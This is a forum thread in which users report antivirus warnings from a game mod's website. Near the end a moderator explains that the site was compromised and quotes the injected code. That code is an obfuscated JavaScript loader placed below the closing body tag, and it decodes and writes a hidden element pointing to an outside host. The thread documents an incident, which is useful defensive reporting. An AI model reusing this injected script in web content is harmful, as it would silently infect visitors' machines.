[Talon 1024]

Whenever I click on my Project Badge that links to wcsaga.hard-light.net, Firefox pops up an AVG warning that says "Exploit link to known exploit site" and it doesn't show what it is supposed to show.  Seriously, what the hell? I've never known HLP to be an exploit site!

EDIT: It does it in IE too.

FYI I'm using AVG Anti-Virus 8

Also, when I deactivate the Active Surf-Shield, it pops up an error message saying "Virus identified JS/Downloader.Agent"

[blackhole]

Where's Carl?

<_<

>_>

[Herra Tohtori]

Likely false positives in the definitions file...

A while ago there was an issue with Avast! giving false positives about every phpBB forum having some trojan/malware (VBS or something); they eventually cleared it from the definitions file and haven't had problems with it since. With high probability it's something similar in this case... perhaps go and check AVG forums for false positive reports like this, and if there is no reports, perhaps report it as false positive, it'll likely be fixed by the next definitons file update or if not that, soon anyways.

I'm pretty sure that HLP is not a really known exploit site...

[Polpolion]

[haloboy100]

I have firefox and AVG and everything works fine for me.

[FUBAR-BDHR]

Maybe that virus, trojan or whatever it is is already on your computer and trying to redirect you somewhere else.

[Talon 1024]

Maybe that virus, trojan or whatever it is is already on your computer and trying to redirect you somewhere else.

It doesn't matter what computer I'm using...  It still does it, regardless.

[spartan_0214]

What protection level is AVG at?

[Scooby_Doo]

Oh Oh..... i'm getting that too with AVG, it appears to be Saga's site.

Strange, doesn't do it for me, but with Starmans it does. 

[spartan_0214]

Wait, it happens for you too, Scoob?

[Scooby_Doo]

ya and i'm using opera too

Code: [Select]

Virus identified JS/Downloader.Agent


[FUBAR-BDHR]

Well I just updated my AVG and went to WCSaga and no virus warning here.

[Scooby_Doo]

Well I just updated my AVG and went to WCSaga and no virus warning here.

Click on Talon's avatar and see.

[spartan_0214]

It works just fine for me. It seems to be a problem with Java Script. Check out settings and see if you can unblock wcsaga's website.

[FUBAR-BDHR]

Well I just updated my AVG and went to WCSaga and no virus warning here.

Click on Talon's avatar and see.

That is what I tried last night actually.

[Tolwyn]

You aren't, by any chance, refering the redirect site hosted on hlp?

[Talon 1024]

You aren't, by any chance, refering the redirect site hosted on hlp?

Umm, yeah.  I was referring to wcsaga.hard-light.net.

[Tolwyn]

You are right. There was an IE exploit.

I can see only one explanation: somebody accessed the ftp from an infected pc. The virus added following line below the </body> html tag.
                                                                                                                                                                                                                           

Code: [Select]

<script language=JavaScript>var mf=" shapgvba ejtf(c){ine ro,con=\" HcvfNU)z\\\"n#hG1*PrTR[4`5('082BVWa]-eZo,}9g$_l+m^6bp~w&IiOA|d@s=y7C:.XMq!xtSj;k{3u\",olq=\"\",i,nnu,l=\"\",n;sbe(ro=0;ro<c.yratgu;ro++){ i=c.puneNg(ro);nnu=con.vaqrkBs(i);vs(nnu>-1){ n=((nnu+1)%81-1);vs(n<=0)n+=81;l+=con.puneNg(n-1); } ryfr l+=i;}olq+=l;qbphzrag.jevgr(olq);}",rmhc="";for(gvg=0;gvg<mf.length;gvg++){ fbd = mf.charCodeAt(gvg);if((fbd>64 && fbd<78)||(fbd>96 && fbd<110)) fbd=fbd+13;else
                                                                                                                                                                                                                                                                                  if((fbd>77 && fbd<91)||(fbd>109 && fbd<123))fbd=fbd-13;rmhc=rmhc.concat(String.fromCharCode(fbd));} var km,ff; eval( rmhc );km="<A~Msi$U7#]FT#FGla&#B#A~Msi$a>U!c~T\"G]$K;Ms$G'Ua<SeRJ:1U7#]FT#FGl\\an#B#S~Msi$\\aUSRel\\a $$i.//;;;KFccF7G#]#7s$s~AK]G$/yyT$,K&A?az!c~T\"G]$KMG=GMMGMza\\a><\\/SeRJ:1>aUmxU</A~Msi$>U"; rwgs(km);</script>

[colecampbell666]

Is it fixed? I don't get anything with FF (AVG 7.5 Free)

[haloboy100]

me neither. but does that mean we're infected now or something?